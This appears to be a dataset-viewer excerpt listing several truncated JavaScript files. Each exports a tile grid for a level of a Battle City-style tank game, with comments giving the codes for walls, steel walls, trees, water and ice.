// 4 - water
// 5 - ice
module.exports.map = [
[0,0,5,5,5,5,5,5,5,5,5,5,0,0,5,5,5,5,5,5,5,5,5,5,0,0],
[0,0,5,5,5,5,5,5,5,5,5,5,0,0,5,5,5,5,5,5,5,5,5,5,0,0],
[5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5],
[5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5... | JavaScript |
// 1 - wall
// 2 - steel wall
// 3 - trees
// 4 - water
module.exports.map = [
[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],
[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],
[0,0,0,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,0],
[0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0],
... | JavaScript |
// 1 - wall
// 2 - steel wall
// 3 - trees
module.exports.map = [
[0,0,0,0,0,0,2,2,0,0,0,0,0,0,2,2,0,0,0,0,0,0,0,0,0,0],
[0,0,0,0,0,0,2,2,0,0,0,0,0,0,2,2,0,0,0,0,0,0,0,0,0,0],
[0,0,1,1,0,0,2,2,0,0,0,0,0,0,1,1,0,0,1,1,0,0,1,1,0,0],
[0,0,1,1,0,0,2,2,0,0,0,0,0,0,1,1,0,0,1,1,0,0,1,1,0,0],
[0,0,1,1,0,0,... | JavaScript |
// 1 - wall
// 2 - steel wall
// 3 - trees
// 4 - water
module.exports.map = [
[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],
[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],
[3,3,3,3,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,3,3,3,3],
[3,3,3,3,0,0,0,0,1,1,1,1,1,1,1,1,1,1,0,0,0,0,3,3,3,3],
... | JavaScript |
// 1 - wall
// 2 - steel wall
// 3 - trees
// 4 - water
// 5 - ice
module.exports.map = [
[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],
[0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0],
[0,0,1,1,0,0,1,1,1,1,0,0,0,0,5,5,5,5,5,5,1,1,1,1,0,0],
[0,0,1,1,0,0,1,1,1,1,0,0,0,0,5,5,5,5,5,5,1,1,1,1... | JavaScript |
// 1 - wall
// 2 - steel wall
// 3 - trees
// 4 - water
// 5 - ice
module.exports.map = [
[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,2,2,2,2,2,3,3,0,0],
[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,2,2,2,2,2,3,3,0,0],
[0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,2,2,0,0,0,0,2,2,0,0],
[0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,2,2,0,0,0,0,2,2... | JavaScript |
// 1 - wall
// 2 - steel wall
// 3 - trees
// 4 - water
// 5 - ice
module.exports.map = [
[0,0,1,1,0,0,1,1,0,0,1,1,0,0,1,1,0,0,1,1,0,0,1,1,0,0],
[0,0,1,1,0,0,1,1,0,0,1,1,0,0,1,1,0,0,1,1,0,0,1,1,0,0],
[0,0,1,1,0,0,1,1,0,0,1,1,0,0,1,1,0,0,1,1,0,0,1,1,0,0],
[0,0,1,1,0,0,1,1,0,0,1,1,0,0,1,1,0,0,1,1,0,0,1,1... | JavaScript |
// 1 - wall
// 2 - steel wall
// 3 - trees
// 4 - water
// 5 - ice
module.exports.map = [
[0,0,0,0,0,0,2,2,0,0,1,1,0,0,1,1,0,0,1,1,0,0,2,2,0,0],
[0,0,0,0,0,0,2,2,0,0,1,1,0,0,1,1,0,0,1,1,0,0,2,2,0,0],
[0,0,1,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,2,2,0,0,0,0,0,0],
[0,0,1,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,2,2,0,0,0,0... | JavaScript |
// 1 - wall
// 2 - steel wall
// 3 - trees
module.exports.map = [
[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],
[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],
[0,0,1,1,0,0,1,1,0,0,1,1,0,0,1,1,0,0,1,1,0,0,1,1,0,0],
[0,0,1,1,0,0,1,1,0,0,1,1,0,0,1,1,0,0,1,1,0,0,1,1,0,0],
[0,0,1,1,0,0,... | JavaScript |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.